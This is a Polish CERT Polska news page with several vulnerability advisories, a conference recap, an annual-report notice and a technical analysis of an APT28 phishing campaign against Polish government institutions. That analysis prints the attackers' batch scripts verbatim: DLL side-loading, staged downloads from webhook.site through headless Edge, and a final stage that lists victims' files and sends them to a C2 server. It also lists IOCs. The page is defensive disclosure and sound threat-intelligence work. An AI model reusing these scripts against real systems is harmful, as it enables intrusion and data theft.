CERT Polska w ramach badań własnych znalazł w otwartoźródłowym projekcie Online Shopping System Advanced podatność typu Reflected Cross-Site Scripting (XSS). Atakujący może nakłonić użytkownika do użycia spreparowanego linku w celu wykonania skryptu w przeglądarce tego użytkownika. Podatności nadano identyfikator CVE-2024-3579.

Autor projektu nie odpowiadał na nasze wiadomości. Choć testowana była jedynie najnowsza wersja oprogramowania, należy jednak przyjąć, że wszystkie są podatne.

Podatność w oprogramowaniu Ant Media Server

2024-05-13T13:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Ant Media Server Community Edition i koordynował proces ujawniania informacji.

Poprzez manipulowanie nagłówkami w rządaniach HTTP nieautoryzowany użytkownik może wykorzystać podatność CVE-2024-3462 i uzyskać dostęp do wszystkich (z wyłączeniem administracyjnych) funkcjonalności API programu Ant Media Server Community Edition.

Przetestowane zostały wersje 2.7.0 - 2.9.0. Ponieważ firma Ant Media nie potwierdziła wydania aktualizacji bezpieczenśtwa, istnieje ryzyko, że nowsze wersje również będą podatne.

Podziękowania

Za zgłoszenie podatności dziękujemy Maksymowi Brzęczkowi (efigo.pl).

Podatności w oprogramowaniu CemiPark

2024-05-09T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu CemiPark i koordynował proces ujawniania informacji.

Podatność CVE-2024-4423 umożliwia umożliwia pominięcie procesu uwierzytelnienia z uwagi na nieodpowiednią walidację danych wprowadzonych przez użytkownika. Atakujący, który posiada dostęp sieciowy do panelu logowania, może zalogować się z uprawnieniami administratora aplikacji.

Podatność CVE-2024-4424 polega na nieodpowiedniej walidacji danych wprowadzonych przez użytkownika, co umożliwia atak typu Stored Cross-Site Scripting. Atakujący posiadający uprawnienia administratora, może utworzyć stronę z kodem, który wykona się w momencie otworzenia strony przez innego administratora.

Podatność CVE-2024-4425 polega na przechowywaniu poświadczeń do zewnętrznych usług (np. FTP, SIP) czystym tekstem. Atakujący, który uzyskał nieautoryzowany dostęp do urządzenia może je odczytać.

Powyższe podatności dotyczą oprogramowania CemiPark w wersjach 4.5, 4.7, 5.03 (które były testowane przez znalazcę) i potencjalnie innych. Producent odmówił podania dokładnego zakresu wersji podatnego oprogramowania.

Podziękowania

Za zgłoszenie podatności dziękujemy Dariuszowi Gońda.

Podatności w oprogramowaniu Kioware for Windows

2024-05-09T12:00:00+02:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Kioware for Windows i koordynował proces ujawniania informacji.

Podatność CVE-2024-3459 umożliwia opuszczenie chronionego środowiska i uruchomienie dowolnej aplikacji z uprawnieniami użytkownika. W tym celu należy pobrać dowolny plik PDF korzystając z Kioware i go otworzyć. Domyślnie nastąpi to z wykorzystaniem zewnętrznej aplikacji, której interfejs może pozwalać na otworzenie przeglądarki internetowej, a co za tym idzie, na przeglądanie lokalnych plików oraz uruchamianie innych programów.

Podatność CVE-2024-3460 pozwala wyłączyć oprogramowanie Kioware i korzystać z dowolnych programów zanim nastąpi automatyczne wylogowanie użytkownika. Aby wykorzystać tę podatność, podczas uruchamiania Kioware musi być uruchomiona inna aplikacja umożliwiająca przeglądanie plików na komputerze. Oprócz tego atakujący musi znać numer PIN zabezpieczający aplikację przed zamknięciem oraz spowolnić jej działanie tworząc wymagane okno czasowe.

Podatność CVE-2024-3461 polega na braku istnienia zabezpieczeń chroniących aplikację przed siłowym zgadywaniem kodu PIN.

Podziękowania

Za zgłoszenie podatności dziękujemy Maksymilianowi Kubiakowi z zespołu Afine.

Kampania APT28 skierowana przeciwko polskim instytucjom rządowym

2024-05-08T13:00:00+02:00

Zespoły CERT Polska (CSIRT NASK) oraz CSIRT MON zaobserwowały w tym tygodniu szeroko zakrojoną kampanię szkodliwego oprogramowania wymierzoną w polskie instytucje rządowe. Na podstawie wskaźników technicznych i podobieństwa do ataków opisywanych w przeszłości (m.in. na podmioty ukraińskie) można powiązać kampanię ze zbiorem aktywności APT28, który jest kojarzony z Głównym Zarządem Wywiadowczym Sztabu Generalnego Sił Zbrojnych Federacji Rosyjskiej (GRU).

Analiza techniczna

W kampanii zostały rozesłane wiadomości e-mail o treści, która ma wywołać zainteresowanie u odbiorcy i nakłonić go do kliknięcia w link. Przykład użytej wiadomości przedstawiamy poniżej:

Link kieruje do adresu w domenie run.mocky.io. Jest to darmowy serwis używany przez programistów do tworzenia i testowania interfejsów API. W tym przypadku został on wykorzystany jedynie do przekierowania na kolejny serwis – webhook.site, pozwalający na logowanie wszelkich zapytań do wygenerowanego adresu oraz konfigurowanie odpowiedzi na nie. Serwis ten również jest popularny wśród osób związanych z IT. Wykorzystanie darmowych, powszechnie używanych usług, zamiast własnych domen, pozwala na znaczne ograniczenie wykrycia linków jako złośliwe, a jednocześnie obniża koszt prowadzonej operacji. Jest to trend, który obserwujemy u wielu grup APT.

Z serwisu webhook.site zostaje ostatecznie pobrane archiwum ZIP, którego nazwa sugeruje zawartość w postaci zdjęć. Zaczyna się ona od IMG-, a kończy losową liczbą - np. IMG-238279780.zip. Po kliknięciu w archiwum, przy domyślnych ustawieniach systemu Windows (ukryte rozszerzenia i brak pokazywania ukrytych plików), ofierze ukazuje się następujący widok:

Tak naprawdę archiwum zawiera trzy pliki:

kalkulator windowsowy ze zmienioną nazwą, np. IMG-238279780.jpg.exe, który udaje zdjęcie i zachęca ofiarę do kliknięcia,
skrypt .bat (plik ukryty),
fałszywą bibliotekę WindowsCodecs.dll (plik ukryty).

Jeśli ofiara uruchomi plik IMG-238279780.jpg.exe (będący nieszkodliwym kalkulatorem), podczas startu spróbuje on załadować bibliotekę WindowsCodecs.dll, która została podstawiona przez atakujących. Jest to technika znana jako DLL Side-Loading. Jedyną rolą biblioteki DLL jest uruchomenie dołączonego skryptu BAT:

@echo off
if not DEFINED IS_MINIMIZED (
    set IS_MINIMIZED=1
    start "" /min "%~dpnx0" %*
    exit
)

start msedge data:text/html;base64,PHRpdGxlPklNRy02MzQ5MjMzNjk2OC5qcGc8L3RpdGxlPjxpZnJhbWUgc3JjPSJodHRwczovL3dlYmhvb2suc2l0ZS9hYWU0MmFlNC1mM2VhLTRkYmYtYTMzZi0zZmY1YjFiYWVjOWIiIHN0eWxlPSJwb3NpdGlvbjpmaXhlZDsgdG9wOjA7IGxlZnQ6MDsgYm90dG9tOjA7IHJpZ2h0OjA7IHdpZHRoOjEwMCU7IGhlaWdodDoxMDAlOyBib3JkZXI6bm9uZTsgbWFyZ2luOjA7IHBhZGRpbmc6MDsgb3ZlcmZsb3c6aGlkZGVuOyB6LWluZGV4Ojk5OTk5OTsiPjwvaWZyYW1lPg==
timeout 15 > nul
move %userprofile%\downloads\IMG-63492336968.jpg %programdata%\IMG-63492336968.cmd > nul
type nul > %userprofile%\downloads\IMG-63492336968.jpg
call %programdata%\IMG-63492336968.cmd
del /q /f /a %0
exit

Skrypt BAT otwiera przeglądarkę Microsoft Edge, w której ładowana jest zawartość strony zakodowana w base64, aby pobrać kolejny skrypt batchowy (również korzystając z serwisu webhook.site). Jednocześnie w przeglądarce wyświetlane są zdjęcia rzeczywistej kobiety w stroju kąpielowym wraz z odnośnikami do jej prawdziwych kont na platformach social media. Ma to na celu uwiarygodnić narrację atakujących oraz uśpić czujność odbiorcy. Skrypt zapisuje pobrany plik z rozszerzeniem .jpg na dysku, zmienia rozszerzenie z .jpg na .cmd oraz ostatecznie go wykonuje.

@echo off & (
    echo On Error Resume Next
    echo CreateObject("WScript.shell").Run "^""%%programdata%%\\dee016bf-21a2-45dd-86b4-6099747794c4.bat^"^^"", 0, False
    echo Set oFso = CreateObject("Scripting.FileSystemObject") : oFso.DeleteFile Wscript.ScriptFullName, True
) > "%programdata%\dee016bf-21a2-45dd-86b4-6099747794c4.vbs" & echo del %%0 ^& for /l %%%%n in () do (
    chcp 65001 ^& timeout 300 ^& taskkill /im msedge.exe /f ^& timeout 5 ^& del /q /f "%%userprofile%%\Downloads\*.css" ^& start "" msedge --headless=new --disable-gpu data:text/html;base64,PHNjcmlwdD53aW5kb3cubG9jYXRpb24ucmVwbGFjZSgiaHR0cHM6Ly93ZWJob29rLnNpdGUvZGVlMDE2YmYtMjFhMi00NWRkLTg2YjQtNjA5OTc0Nzc5NGM0Iik7PC9zY3JpcHQ+ ^& timeout 30 ^& taskkill /im msedge.exe /f ^& move /y "%%userprofile%%\Downloads\*.css" "%%programdata%%\dee016bf-21a2-45dd-86b4-6099747794c4.cmd" ^& call "%%programdata%%\dee016bf-21a2-45dd-86b4-6099747794c4.cmd" ^& del /q /f "%%programdata%%\dee016bf-21a2-45dd-86b4-6099747794c4.cmd"
) > "%programdata%\dee016bf-21a2-45dd-86b4-6099747794c4.bat" & (
    echo ^<!DOCTYPE html^>^<html^>^<body^>^<script^>var xhr = new XMLHttpRequest^(^);var text = String.raw^`)
) > "%programdata%\uaxhexd.tab" & (
    echo ^`;xhr.open^(^'PUT^', ^'https://webhook.site/dee016bf-21a2-45dd-86b4-6099747794c4^'^);xhr.setRequestHeader^(^'Content-Type^', ^'text/html^'^);xhr.send^(text^);^</script^>^</body^>^</html^>
) > "%programdata%\ohqddqtqc.tsv" & start "" "%programdata%\dee016bf-21a2-45dd-86b4-6099747794c4.vbs" & del %0

Ten skrypt stanowi główną pętlę programu – w pętli for /l %n in () najpierw czeka 5 minut, a następnie analogicznie jak poprzednio, za pomocą przeglądarki Microsoft Edge i odwołania do webhook.site, pobiera kolejny skrypt i go wykonuje. Tym razem pobierany jest plik z rozszerzeniem .css, po czym następuje zmiana jego rozszerzenia na .cmd i uruchomienie.

Otrzymany przez nas ostatecznie skrypt zbiera wyłącznie informacje o komputerze (adres IP oraz lista plików w wybranych folderach), na którym się uruchomiły, a następnie przesyłają je do serwera C2, ale prawdopodobnie komputery ofiar wybrane przez atakujących otrzymują inny zestaw skryptów końcowych.

@echo off
chcp 65001
taskkill /im msedge.exe /f
(dir "%userprofile%\.." & dir "%userprofile%\Desktop" & dir "%userprofile%\Downloads" & dir "%userprofile%\Documents" & dir "%ProgramFiles%" & dir "%ProgramFiles(x86)%" & curl -k https://ipinfo.io) > "%programdata%\bwjxyeysed.diff"
copy "%programdata%\*.tab" + "%programdata%\*.diff" + "%programdata%\*.tsv" "%programdata%\nydgflyhuv.html"
(echo %programdata%) > "%programdata%\gjvrexfiac"
set /p gjvrexfiac=<"%programdata%\gjvrexfiac"
timeout 5
start "" msedge --headless=new --disable-gpu "file:///%gjvrexfiac%/nydgflyhuv.html"
timeout 30
taskkill /im msedge.exe /f
del /q /f "%userprofile%\Downloads\*.css"
del /q /f "%programdata%\gjvrexfiac"
del /q /f "%programdata%\*.diff"
del /q /f "%programdata%\nydgflyhuv.html"

Cały przebieg ataku został pokazany na poniższym diagramie. Jego przebieg jest tożsamy z opisywanym w przeszłości publicznie złośliwym oprogramowaniem HEADLACE.

Rekomendacje

Podstawowym celem tej publikacji jest zakłócenie wrogich aktywności i umożliwienie wykrycia oraz analizy opisywanych działań. Zespół CERT Polska rekomenduje, aby administratorzy sieci sprawdzili, czy pracownicy organizacji nie byli obiektem ataku.

Zalecamy weryfikację odnotowanych w ostatnim czasie połączeń do domen webhook.site oraz run.mocky.io oraz ich obecności w otrzymywanych wiadomościach e-mail. Podkreślamy jednocześnie, że są to serwisy powszechnie wykorzystywane przez programistów i ruch do nich nie musi oznaczać infekcji.
Jeśli organizacja nie korzysta z wymienionych serwisów, zalecamy rozważenie blokady wyżej wymienionych domen na urządzeniach brzegowych.
Niezależnie od tego, czy korzystają Państwo z ww. serwisów, zalecamy również filtrowanie e-maili pod kątem linków w domenach webhook.site oraz run.mocky.io, ponieważ przypadki ich prawidłowego użycia w treści e-maila są bardzo rzadkie.

Serwisy tego typu były już wielokrotnie wykorzystywane w kampaniach związanych z grupami APT.

Jeśli istnieje podejrzenie infekcji szkodliwym oprogramowaniem, rekomendujemy odłączenie urządzenia od sieci (zarówno przewodowej, jak i bezprzewodowej) oraz niezwłoczny kontakt z właściwym zespołem CSIRT.

CSIRT GOV – centralna administracja rządowa i infrastruktura krytyczna,
CSIRT MON – instytucje wojskowe,
CSIRT NASK – wszystkie pozostałe.

IOC

URL-e:

https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=2d07e34c-3dd3-45e8-865c-3888a65ab885
https://webhook.site/2d07e34c-3dd3-45e8-865c-3888a65ab885
https://webhook.site/4ba464d9-0675-4a7a-9966-8f84e93290ba
https://webhook.site/577b82c3-7249-44e9-9353-5eab106fead6
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=127df518-52be-46c5-bbb2-0479f4b9693b
https://webhook.site/127df518-52be-46c5-bbb2-0479f4b9693b
https://webhook.site/0ef0dcf7-f258-4d02-b274-cbf62a2000cf
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=c1112bb3-0e6e-4ba4-abe7-fb31388b47ad
https://webhook.site/c1112bb3-0e6e-4ba4-abe7-fb31388b47ad
https://webhook.site/3f396db1-2016-4b69-9ec3-ffc417d5f3aa
https://webhook.site/66ea3bbc-29dc-4ece-b804-71c6ec7b77b6
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=efb79108-a2b5-4cba-844d-6352bb8fad8c
https://webhook.site/efb79108-a2b5-4cba-844d-6352bb8fad8c
https://webhook.site/9c87649c-220d-425d-8331-ffc8d9b94a38
https://webhook.site/c618ea32-2923-4c12-8151-8d0002b56af0
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=f97bcee0-0d91-4503-a30c-027f1b34820f
https://webhook.site/f97bcee0-0d91-4503-a30c-027f1b34820f
https://webhook.site/9a9cdaf8-120c-4de9-b17a-d6d8e2796a3b
https://webhook.site/e13d23aa-b6f8-4491-9adc-71f7f8c438df
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=5e4c7949-30a2-4477-9e9b-e8828fc76a1b
https://webhook.site/5e4c7949-30a2-4477-9e9b-e8828fc76a1b
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=5100fcc0-f6be-4b09-8c58-5a8a6706ec4f
https://webhook.site/5100fcc0-f6be-4b09-8c58-5a8a6706ec4f
https://webhook.site/7674f06b-e435-4470-a594-6d59578c552d
https://webhook.site/dee016bf-21a2-45dd-86b4-6099747794c4
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=508da0df-7ec9-420e-b1fe-958fbbe699d1
https://webhook.site/508da0df-7ec9-420e-b1fe-958fbbe699d1
https://webhook.site/bec23763-b8d9-4191-99ba-04a4a163b4de
https://webhook.site/90fea98f-fbdb-4847-be03-409d02a43caf
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=bc349b93-b047-42f8-a421-d45e3ec94dc5
https://webhook.site/bc349b93-b047-42f8-a421-d45e3ec94dc5
https://webhook.site/5a8758c6-5702-4fea-9d5e-4fbdb6dd795f
https://webhook.site/b10bd697-1a9f-4ec7-aa2f-1fa84ad916a1
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=1658772a-4de8-4368-a604-980c90b0a1ed
https://webhook.site/1658772a-4de8-4368-a604-980c90b0a1ed
https://webhook.site/4fe5885c-f2f6-4905-8bc7-aef1a046a134
https://webhook.site/0d2dc90e-2d5e-49f8-8249-d7ab955c387a

Hashe SHA256 i nazwy plików:

2bd9591bea6b1f4128e4819e3888b45b193d5a2722672b839ad7ae120bf9af3d IMG-1030873974629655576.zip
52b8bfbd9ef8ecfd54e71c74a7131cb7b3cc61ea01bc6ce17cbe7aef14acc948 WindowsCodecs.dll
4001498463dc8f8010ef1cc803b67ac434ff26d67d132933a187697aa2e88ef1 bcpcn.bat
158d49cce44968ddd028b1ef5ebc2a5183a31f05707f9dc699f0c47741be84db IMG-1030873974629655576.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 kpqsklcrdsonoknaote.css
7c6689f591ce2ccd6713df62d5135820f94bdbf2e035ab70e6b3c6746865a898 IMG-7214532.zip
c968f9dd1f16a435901d2b93a028a0ae2508e943c8f480935a529826deb3dbeb WindowsCodecs.dll
34cabc0ff2f216830ffe217e8f8d0fa4b7d3a167576745aba48b7e62f546207b zdesdyf.bat
e1069c8677d64226f7881e8504ed7a13f79f43f143842ea6c1c8b2cc680ed6c2 IMG-238279780.zip
43ff178e428373512b83f85db32f364fc19c9a4ac7317835bd5089915b8727b5 WindowsCodecs.dll
ca700d44db08ad2ebd52278a3b303f8c13e44847a507fb317ea5dfb6cc924a76 hjpxswjdkayzwfphx.bat
bab7e81395e1e9ee1680c3bb702c44b1b13ee5e67fa893d765284ae168de8369 IMG-238279780.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 vngradn.css
38ae06833528db02cb3a315d96ad2a664b732b5620675028a8c5e059e820514f IMG-810629002957075004.zip
ee433ddd5988ab7325b92378c6d3cb736ddb7f1bad75b939e8c931f417660129 WindowsCodecs.dll
9ddf5561562a62961a6fcac1dc49633cb79f5d3c8cc9b95fd9f87e7be70d2d35 yvrlqpkgngppjp.bat
dfd1f3229f903887f2474f361a26273dc63a6221883e86c5eea2dec9521dc081 IMG-810629002957075004.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 ovhupm.css
949b0bd52a4ed47bc4a342e5a29bff2bcdb0169d2fbf0f052509b65229e19b6e IMG-368912.zip
642315d3091a3dfba6c0ed06f119fc40d21f3d84574b53e045baf8910e1fb38c WindowsCodecs.dll
fb42a4e0f2dd293fd6e7acb8d67d67698a0ae7685bc5462685acf4c2f73d0b44 udkozfnsljmbpjs.bat
07e539373177801e3fc5427bf691c0315a23b527d39e756daad6a9fc48e846bc IMG-368912.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 wrkybdizscvb.css
5d2675572e092ba9aece8c8d0b9404b3adbd27db1312cd659ba561b86301fe73 IMG-451458326.zip
f348a0349fdec136c3ac9eaee9b8761da6bd33df82056e4dd792192731675b00 WindowsCodecs.dll
351f10d7df282afed4558d765aa5018af0711fa4f37fa7eb82716313f4848a2f illgvjrfyevoqxk.bat
85f10d3df079b4db3a83ae3c4620c58a8362df2be449f8ce830d087ab41c7a52 IMG-451458326.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 mzmtfylpywlyurkcd.css
745cfce3e0242d0d5f6765b1f74608e9086d7793b45dbd1747f2d2778dec6587 IMG-0601181.zip
598a8b918d0d2908a756475aee1e9ffaa57b110d8519014a075668b8b1182990 WindowsCodecs.dll
ef67f20ff9184cab46408b27eaf12a5941c9f130be49f1c6ac421b546dac2bac hzjtajjklr.bat
96766dfbf6c661ee3e9f750696803824a04e58402c66f208835a7acebfab1cfc IMG-0601181.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 daukbpnawvkfcjcfzu.css
4f0f9a2076b0fd14124bed08f5fc939bada528e7a8163912a4ad1ec7687029a3 IMG-89848928.zip
ae4e94c5027998f4ce17343e50b935f448e099a89266f9564bd53a069da2ca9a WindowsCodecs.dll
d714fff643d53fdd56cf9dcb3bd265e1920c4b5f34a4668b584a0619703d8a3e jxfgibtfxiewsdvmeg.bat
b3e60909036c4110eb7e3d8c0b1db5be5c164fcc32056885e4f1afe561341afd IMG-89848928.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 cvywrkrhhfzza.css
5883842c87ca6b59236257e15db983cc88d4948cf0d649455f8f393899673fcc IMG-3907894910429.zip
0873a19d278a7a8e8cff2dc2e7edbfddc650d8ea961162a6eb3cb3ea14665983 WindowsCodecs.dll
e826dc4f5c16a1802517881f32f26061a4cbc508c3f7944540a209217078aa11 bmpxjphdzwommblflx.bat
750948489ed5b92750dc254c47b02eb595c6ffcefded6f9d14c3482a96a6e793 IMG-3907894910429.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 qseybqanfkus.css

Podatność w oprogramowaniu CraftBeerPi 4

2024-05-02T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu open-source CraftBeerPi 4 i utworzył dla niej rekord CVE.

Podatność CVE-2024-3955 umożliwia wykonanie dowolnego kodu z powodu braku walidacji parametru URL GET "logtime" w module "cbpi/controller/system_controller.py".

Podatność dotyczy oprogramowania CraftBeerPi 4 w wersjach od 4.0.0.58 (commit 563fae9) i została usunięta w wersji 4.4.1.a1 (commit 57572c7).

Podziękowania

Za zgłoszenie podatności dziękujemy Pondzikowi.

27. edycja konferencji Secure

2024-04-25T10:00:00+01:00

Za nami 27. edycja konferencji Secure. Były to dwa dni wypełnione wiedzą i ważnymi dyskusjami, ale także znakomita okazja do nawiązania kontaktów z innymi specjalistami z dziedziny cyberbezpieczeństwa. Przestrzeń naszej konferencji to miejsce, w którym mogą się spotkać różne spojrzenia, podejścia i aspekty (cyber)bezpieczeństwa.

Horyzont cyberwyzwań

Hasłem edycji 2024 był „Horyzont cyberwyzwań”. Już jednak pierwsze prezentacje zwróciły uwagę na fakt, że trzecia dekada dwudziestego pierwszego wieku to najwyższy czas, żeby przestać postrzegać cyberbezpieczeństwo jako dziedzinę oderwaną od „rzeczywistości”. W czasach, kiedy każdy nosi komputer w kieszeni, cyberbezpieczeństwo to po prostu bezpieczeństwo. Kropka.

Dzień pierwszy

Ścieżka plenarna

Przekonanie to bardzo mocno wybrzmiało podczas ścieżki plenarnej. Już podczas otwarcia konferencji wspomniał o tym Dyrektor NASK Radosław Nielek, temat kontynuował premier Krzysztof Gawkowski, a Mapa Trendów Natalii Hatalskiej wprost wspominała o tym, że zmierzamy w kierunku świata, w którym technologia będzie jeszcze mocniej zintegrowana z codziennością.

Pierwszy blok prezentacji zamknął kierownik CERT Polska – Sebastian Kondraszuk, prezentując nasz raport roczny. On także zwracał uwagę na fakt, że cyberbezpieczeństwo dotyczy każdego obywatela.

Drugi blok poświęcony był bardzo ważnemu tematowi, czyli cyberbezpieczeństwu w obliczu konfliktów na świecie, w tym tuż za naszą granicą oraz przeciwdziałaniu dezinformacji.

Ścieżka techniczna i ścieżka samorządowa/policy

Po obiedzie prelekcje podzielone były na dwie ścieżki: techniczną i samorządową/policy. Z dumą zauważamy, że ścieżka techniczna była zdominowana przez naszych specjalistów. Bartosz Trybus, Krzysztof Szafarski, Jarosław Jedynak, Krzysztof Zając i Filip Marczewski dzielili się wnioskami z codziennej pracy i prezentowali narzędzia, które rozwijają w CERT Polska.

Choć druga ścieżka skupiona była głównie na rozwiązaniach prawnych, również tam nie zabrakło naszego przedstawiciela. Szymon Sidoruk brał czynny udział w debacie dotyczącej UZNKE, prezentując perspektywę osób odbierających zgłoszenia dotyczące nadużyć.

Networking

Pierwszy dzień Secure 2024 tradycyjnie zakończył się już bardziej nieformalnie. Stworzyliśmy uczestnikom przestrzeń do dyskusji i wymiany wrażeń. Był to czas dla prelegentów, żeby odpowiedzieć na pytania i wątpliwości słuchaczy, a także z pierwszej ręki poznać ich perspektywę. Jesteśmy przekonani, że danie uczestnikom konferencji okazji do networkingu w luźnej atmosferze zaowocuje w przyszłości wieloma ciekawymi inicjatywami. Może nawet usłyszmy o nich podczas kolejnej edycji Secure?

Dzień drugi

Dzień drugi rozpoczął się od prawdziwego wyzwania związanego z bezpieczeństwem, czyli (na szczęście fałszywego) alarmu pożarowego. Natomiast jego zaplanowanym głównym tematem były wyzwania związane z rozwojem sztucznej inteligencji.

Prezentacje otwierające

Na początek dnia mogliśmy wysłuchać prelekcji Dentona Howarda na temat międzynarodowych standardów walki z CSAM. Następnie scenę przejął Krzysztof Śmiszek z Ministerstwa Sprawiedliwości, który mówił o AI w kontekście praw człowieka, a po nim profesor Przemysław Biecek odkrywał przed słuchaczami niepoznane nieznane (unknown unknowns).

Ścieżka cyberbezpieczeństwo AI i ścieżka wyzwania

Druga część drugiego dnia także została podzielona na dwie ścieżki: Cyberbezpieczeństwo AI i Wyzwania. Jednak obie w dużej mierze dotyczyły tych samych problemów: w jaki sposób poruszać się w świecie, w którym sztuczna inteligencja jest faktem i istotnym składnikiem rzeczywistości. Drugi dzień wyróżniał się różnorodnością prezentacji. Obok wielu prelekcji bezpośrednio dotyczących aspektów cybersecurity, można było wysłuchać m.in Michała Golaka, który mówił o cyberwojskach, ale także dr hab. inż. Agnieszki Gryszczyńskiej z Prokuratury Krajowej, która wraz z Agatą Ślusarek z KNF opowiadała o tym, w jaki sposób LLMy wykorzystywane są przez cyberprzestępców już teraz.

Warsztaty

Jeśli dla kogoś dwa dni konferencji to zbyt mało, towarzyszące jej warsztaty były zorganizowane zarówno przed jak i po głównym wydarzeniu. Warsztaty były adresowane do szerokiego spektrum specjalistów. Można było zgłębić tajniki analizy mobilnego malware, poznać system MISP na szkoleniu wstępnym lub zaawansowanym, a także nauczyć się komunikacji kryzysowej w przypadku incydentów. Po konferencji uczestnicy mogli wziąć udział w dwudniowym szkoleniu w języku angielskim - Cybersecurity Resilience in Critical Infrastructure organizowanym przez SANS Institute, CISO4U i CISO Poland. Szkolenie to prowadził Tim Conway.

Do zobaczenia za rok!

Secure to najstarsza polska konferencja dotycząca cyberbezpieczeństwa. Jesteśmy dumni, że już po raz 27 udało nam się zgromadzić w jednym miejscu ekspertów chętnych dzielić się wiedzą. Mamy nadzieję, że za rok spotkamy się w jeszcze szerszym gronie, aby wysłuchać jeszcze ciekawszych prezentacji.

Do zobaczenia! (albo do usłyszenia, zachęcamy do zgłaszania swoich prezentacji!)

Raport roczny z działalności CERT Polska w 2023 roku

2024-04-16T10:20:00+01:00

Pobierz raport (PDF, 12.6MB)

Nowoczesne technologie w obszarze cyberbezpieczeństwa są dla nas tylko narzędziem wspierającym nasze codzienne działania. To ludzie, którzy ich używają naprawdę dokonują zmian. W CERT Polska mamy takich ludzi, a 2023 rok przyniósł nam wiele istotnych zmian, o których opowiadamy w tej publikacji.

W mijających miesiącach przede wszystkim doskonaliliśmy nasze narzędzia, takie jak Artemis, Snitch, n6 czy MWDB. Lepsze narzędzia, to lepszy ogląd na to, co dzieje się w cyberprzestrzeni, a co za tym idzie możliwość skuteczniejszego reagowania. Sieć nie zna granic, dlatego zależy nam na tym, by dzielić się wiedzą z innymi podmiotami odpowiedzialnymi za cyberbezpieczeństwo. Z tą myślą udostępniamy większość kodu narzędzi w formule open source. O tym, że warto ich używać mogą świadczyć dane, które znajdziecie Państwo w raporcie.

W ubiegłym roku wciąż rozwijaliśmy także ten fragment naszej działalności, który odnosi się do badania cyberprzestrzeni, analizowania działań cyberprzestępców. Podsumowanie tych obserwacji znajduje się w części dotyczącej incydentów i zagrożeń.

W zeszłorocznej edycji zamieściliśmy rozdział poświęcony wojnie w Ukrainie – opisywaliśmy m.in. ataki typu DDoS na strony rządowe i portale podmiotów gospodarczych, a także pojawienie się fałszywych sklepów z opałem. Chcieliśmy pokazać, jak bardzo cyberprzestrzeń zależna jest od wydarzeń w świecie rzeczywistym. Dlatego i w tym raporcie znajdują się liczne odniesienia do bieżących wydarzeń, a rozdział o grupach APT jest tego doskonałym przykładem. Pokazuje on m.in. jak jesienne wybory do polskiego parlamentu wpływały na cyberprzestrzeń.

W raporcie opisujemy również liczne, bardzo ważne dla nas współprace, które owocowały projektami, ćwiczeniami i warsztatami. Pochylamy się nad tematem ustawy o zwalczaniu nadużyć w komunikacji elektronicznej, która niesie dla naszego zespołu szereg istotnych zmian i obowiązków, a dla użytkowników – szansę na ograniczenie ilości phishingu, z którym mają do czynienia na co dzień. Informacje o tych inicjatywach znajdą Państwo w rozdziale podsumowującym działania CERT Polska.

Wreszcie – last but not least – omawiamy skalę i rodzaje incydentów. Już same statystyki pozwalają uznać poprzedni rok za rekordowy. Na pierwszy rzut oka obraz, który się na ich bazie rysuje wydaje się mocno niepokojący. Jednak już pobieżna lektura pozwala zorientować się, że olbrzymia skala zgłoszeń, to także efekt działań promocyjnych i uruchomienia nowego, bezpłatnego numeru 8080 do zgłaszania podejrzanych wiadomości SMS. Wierzymy, że nasze działania przekładają się na wzrost świadomości dotyczącej cyberzagrożeń, a co za tym idzie wzrost liczby zgłoszeń. Rozwój wiedzy w obszarze cyberbezpieczeństwa to przecież najlepsza broń w walce z cyberoszustami.

Zapraszamy do lektury, bo ten raport to potężny zastrzyk wiedzy o tym, z jakimi zagrożeniami mamy do czynienia i jak skuteczniej możemy się przed nimi bronić.

Kliknij w interesujący Cię artykuł w poniższym spisie treści, aby wyświetlić go w przeglądarce, albo pobierz plik z raportem.

Wstęp do deepfake

2024-04-08T16:00:00+01:00

Zapraszamy Was na nasz nowy cykl #WiedzAInformacje

Czy sztuczna inteligencja przejmie władzę nad światem? Czy AI jest w stanie zmylić naszą percepcję? Czy łatwo jest odróżnić rzeczywistość od manipulacji? Czym jest deepfake i czy zawsze oznacza coś złego? I czy człowiek może pokochać maszynę?

Czy sztuczna inteligencja wzbudza emocje i generuje wiele pytań? Niewątpliwie tak.

Dlatego zapraszamy Was na nasz nowy cykl poświęcony AI, a w szczególności zjawisku deepfake.

O czym będziemy mówić?

Opowiemy o genezie i historii deepfake’ów. Pokażemy przykłady ich użycia. Będziemy pisać ogólnie, ale nie zamierzamy uciekać od bieżących tematów. Mamy rok wyborczy i materiały deepfake mogą stać się potężną bronią w walce politycznej. Ale nie chcemy tylko straszyć, postaramy się też rozbroić błędne przekonania na temat deepfake’ów pokazując różne przykłady ich użycia.

A od strony technicznej opiszemy rodzaje deepfake’ów i sposoby ich tworzenia. A na koniec pokażemy na co zwracać uwagę, żeby rozpoznać zmanipulowane materiały.

